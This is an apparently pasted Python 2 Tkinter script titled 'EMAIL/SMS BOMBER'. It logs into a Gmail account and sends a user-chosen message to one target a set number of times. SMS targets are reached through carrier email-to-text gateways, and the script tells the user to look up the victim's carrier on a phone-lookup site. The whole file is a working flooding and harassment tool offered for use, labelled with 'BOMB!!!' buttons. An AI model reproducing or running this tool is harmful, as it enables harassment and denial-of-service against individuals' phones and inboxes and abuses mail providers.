· 7 years ago · Dec 01, 2018, 05:34 PM
1#EMAIL/SMS BOMBER
2
3import smtplib,tkMessageBox
4from Tkinter import *
5
6server = smtplib.SMTP('smtp.gmail.com:587')
7server.ehlo()
8server.starttls()
9server.ehlo()
10
11class window():
12 carrier = {
13 '1':'@message.alltel.com',
14 '2':'@txt.att.net',
15 '3':'@myboostmobile.com',
16 '4':'@messaging.nextel.com',
17 '5':'@messaging.sprintpcs.com',
18 '6':'@tmomail.net',
19 '7':'@vtext.com',
20 '8':'@vmobl.com'
21 }
22 def smsbomber(self):
23 self.amt = int(self.numtxt.get())
24 self.zero = 0
25 if '@gmail.com' not in self.usr:
26 self.usr = self.usr+'@gmail.com'
27 try:
28 while self.zero < self.amt:
29 self.zero += 1
30 server.sendmail(str(self.usr),str(self.rectxt.get())+self.carrier.get(self.car.get()),str(self.msgtxt.get()))
31 done = tkMessageBox.showinfo('Done','Done!')
32 except smtplib.SMTPRecipientsRefused:
33 tkMessageBox.showerror('Error','Check "Send to" box.')
34 def bomber(self):
35 self.amt = int(self.numtxt.get())
36 self.zero = 0
37 if '@gmail.com' not in self.usr:
38 self.usr = self.usr+'@gmail.com'
39 try:
40 while self.zero < self.amt:
41 self.zero += 1
42 server.sendmail(str(self.usr),str(self.rectxt.get()),str(self.msgtxt.get()))
43 done = tkMessageBox.showinfo('Done','Done!')
44 except smtplib.SMTPRecipientsRefused:
45 tkMessageBox.showerror('Error','Check "Send to" box.')
46
47 def email(self):
48 self.window.destroy()
49 self.emailframe = Tk()
50 self.emailframe.title('Email Bomber')
51 self.reclbl = Label(self.emailframe,text='Send to: ')
52 self.reclbl.grid(row=0,column=0)
53 self.rectxt = Entry()
54 self.rectxt.grid(row=0,column=1)
55 self.msglbl = Label(self.emailframe,text='MSG: ')
56 self.msglbl.grid(row=1,column=0)
57 self.msgtxt = Entry()
58 self.msgtxt.grid(row=1,column=1)
59 self.numlbl = Label(self.emailframe,text='Amount to send: ')
60 self.numlbl.grid(row=2,column=0)
61 self.numtxt = Entry()
62 self.numtxt.grid(row=2,column=1)
63 self.bomb = Button(self.emailframe,text='BOMB!!!',command=self.bomber)
64 self.bomb.grid(row=3,column=3)
65 self.emailframe.mainloop()
66
67 def sms(self):
68 self.window.destroy()
69 self.smsframe = Tk()
70 self.smsframe.title('SMS Bomber')
71 self.ff = Label(self.smsframe,text='Go to fonefinder.net to find carrier')
72 self.ff.grid(row=0)
73 self.carlbl = Label(self.smsframe,text='1. Alltell\n2. AT&T\n3. BoostMobile\n4. SprintNextel(@nextel.com)\n5. SprintNextel(@sprintpcs.com)\n6. T-Mobile\n7. Verizon\n8. VirginMobile')
74 self.carlbl.grid(row=1,column=4)
75 self.car = Spinbox(self.smsframe,from_=1,to=8)
76 self.car.grid(row=3,column=4)
77 self.reclbl = Label(self.smsframe,text='10 Digit Number: ')
78 self.reclbl.grid(row=3,column=0)
79 self.rectxt = Entry()
80 self.rectxt.grid(row=3,column=1)
81 self.msglbl = Label(self.smsframe,text='MSG: ')
82 self.msglbl.grid(row=4,column=0)
83 self.msgtxt = Entry()
84 self.msgtxt.grid(row=4,column=1)
85 self.numlbl = Label(self.smsframe,text='Amount: ')
86 self.numlbl.grid(row=5,column=0)
87 self.numtxt = Entry()
88 self.numtxt.grid(row=5,column=1)
89 self.bomb = Button(self.smsframe,text='BOMB!!!',command=self.smsbomber)
90 self.bomb.grid(row=5,column=4)
91 self.smsframe.mainloop()
92
93
94 def Login(self):
95 self.usr = self.usrtext.get()
96 self.psw = self.passtext.get()
97 try:
98 server.login(self.usr,self.psw)
99 self.login.destroy()
100 self.email = Button(self.window,text='EMAIL',command=self.email)
101 self.email.grid(row=3,column=0)
102 self.sms = Button(self.window,text='SMS',command=self.sms)
103 self.sms.grid(row=3,column=1)
104 except smtplib.SMTPAuthenticationError:
105 tkMessageBox.showerror('Error','Invalid Username/Password')
106
107 def __init__(self,master=None):
108 self.window = Tk()
109 self.window.title('BOMBz')
110 self.login = Button(self.window,text='LOGIN',command=self.Login)
111 self.login.grid(row=3,column=1)
112 self.usrlabel = Label(self.window,text='GMAIL:')
113 self.usrlabel.grid(row=0,column=0)
114 self.usrtext = Entry()
115 self.usrtext.grid(row=0,column=1)
116 self.passlabel = Label(self.window,text='PASSWORD:')
117 self.passlabel.grid(row=1,column=0)
118 self.passtext = Entry(show="*")
119 self.passtext.grid(row=1,column=1)
120 self.window.mainloop()
121
122
123window()